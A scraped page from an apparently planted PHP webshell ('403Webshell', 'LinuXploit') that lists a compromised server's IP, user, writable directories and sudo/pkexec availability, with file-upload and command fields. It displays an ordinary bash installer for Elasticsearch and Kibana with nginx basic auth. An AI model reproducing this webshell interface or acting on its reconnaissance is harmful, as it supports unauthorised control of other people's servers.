403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/apps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/apps/elasticsearch-7.3-offirepo
#!/bin/bash

# Add this at the begining of all scripts.
if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

rootDir=$(rootDir)
checkTagExist nginx.success
checkTagExist nginx-enable-ssl.success
elasticVersion="7.3.2"
kibanaVersion="7.3.2"

echo "Adding repo to apt" | log
curlDownload https://artifacts.elastic.co/GPG-KEY-elasticsearch
waitOrStop 0 "File not downloaded from official source"
apt-key add GPG-KEY-elasticsearch
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | tee -a /etc/apt/sources.list.d/elastic-7.x.list
apt update

echo "Installing Elasticsearch and Kibana web UI" | log
packages=(elasticsearch=$elasticVersion kibana=$kibanaVersion)
installPackage "${packages[@]}" | log
waitOrStop 0 "Failed apt install: ${packages[@]}"

echo "Tweaking Elasticsearch configuration" | log
elasticPort=8881
elasticConfigPath=/etc/elasticsearch/elasticsearch.yml
# tweak network.host
sed -i '/network.host:/s/^#//g' $elasticConfigPath
sed -i '/network.host:/s/192.168.0.1/127.0.0.1/g' $elasticConfigPath
# tweak http.port
sed -i '/http.port:/s/^#//g' $elasticConfigPath
sed -i '/http.port:/s/9200/'"${elasticPort}"'/g' $elasticConfigPath

echo "Tweaking Kibana web UI configuration" | log
kibanaPort=8882
kibanaConfigPath=/etc/kibana/kibana.yml
# tweak server.port
sed -i '/server.port:/s/^#//g' $kibanaConfigPath
sed -i '/server.port:/s/5601/'"${kibanaPort}"'/g' $kibanaConfigPath
# tweak server.host
sed -i '/server.host:/s/^#//g' $kibanaConfigPath
sed -i '/server.host:/s/localhost/127.0.0.1/g' $kibanaConfigPath
# tweak elasticsearch.hosts
sed -i '/elasticsearch.hosts:/s/^#//g' $kibanaConfigPath
sed -i '/elasticsearch.hosts:/s/localhost/127.0.0.1/g' $kibanaConfigPath
sed -i '/elasticsearch.hosts:/s/9200/'"${elasticPort}"'/g' $kibanaConfigPath

echo "Creating basic auth to secure Kibana web UI" | log
echo "admin:$(openssl passwd -apr1 ${ADMINPASSWORD})" > /etc/nginx/htpasswd.users

echo "Setting nginx configuration" | log
nginxConfigPath=/etc/nginx/sites-available
# copy readymade config to nginx sites
cp -f $rootDir/tweaks/extras/elasticsearch-nginx/kibana.conf $nginxConfigPath/
# place elasticPort for elasticsearch upstream
sed -i '/server/s/ELASTIC_PLACEHOLDER/127.0.0.1:'"${elasticPort}"'/g' $nginxConfigPath/kibana.conf
# place kibanaPort for kibana upstream
sed -i '/server/s/KIBANA_PLACEHOLDER/127.0.0.1:'"${kibanaPort}"'/g' $nginxConfigPath/kibana.conf
# link site to enable
ln -s $nginxConfigPath/kibana.conf /etc/nginx/sites-enabled/
unlink /etc/nginx/sites-enabled/default
unlink /etc/nginx/sites-enabled/default-ssl
service nginx reload
waitOrStop 0 "Reload nginx service failed"

echo "Tweaking optimal performance settings" | log
# reduce vm swappiness to minimum
sysctl vm.swappiness=1
# check heap size and change to 50% RAM
totalram=$(cat /proc/meminfo | grep MemTotal | awk '{print int($2/1024)}')
sed -i '/-Xms/s/1g/'"$(($totalram / 2))"'m/g' /etc/elasticsearch/jvm.options
sed -i '/-Xmx/s/1g/'"$(($totalram / 2))"'m/g' /etc/elasticsearch/jvm.options
# keep memory from switching away from elasticsearch
sed -i '/bootstrap.memory_lock:/s/^#//g' $elasticConfigPath
mkdir -p /etc/systemd/system/elasticsearch.service.d/
cat << EOF > /etc/systemd/system/elasticsearch.service.d/override.conf
[Service]
LimitMEMLOCK=infinity
EOF
systemctl daemon-reload
waitOrStop 0 "Reload systemctl failed"

echo "Starting and enabling services"
systemctl enable elasticsearch.service
systemctl enable kibana.service
systemctl restart elasticsearch.service
waitOrStop 0 "Restart elasticsearch service failed"
systemctl restart kibana.service
waitOrStop 0 "Restart kibana service failed"

echo "Adding descriptions" | log
descriptionAppend "Elasticsearch admin user: admin"
descriptionAppend "Elasticsearch admin password: ${ADMINPASSWORD}"
descriptionAppend "Elasticsearch (Kibana) web interface: https://${CWM_SERVERIP}"
descriptionAppend " "
descriptionAppend "Elasticsearch configuration: /etc/elasticsearch/"
descriptionAppend "Kibana configuration: /etc/kibana/kibana.yml"
descriptionAppend " "

tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit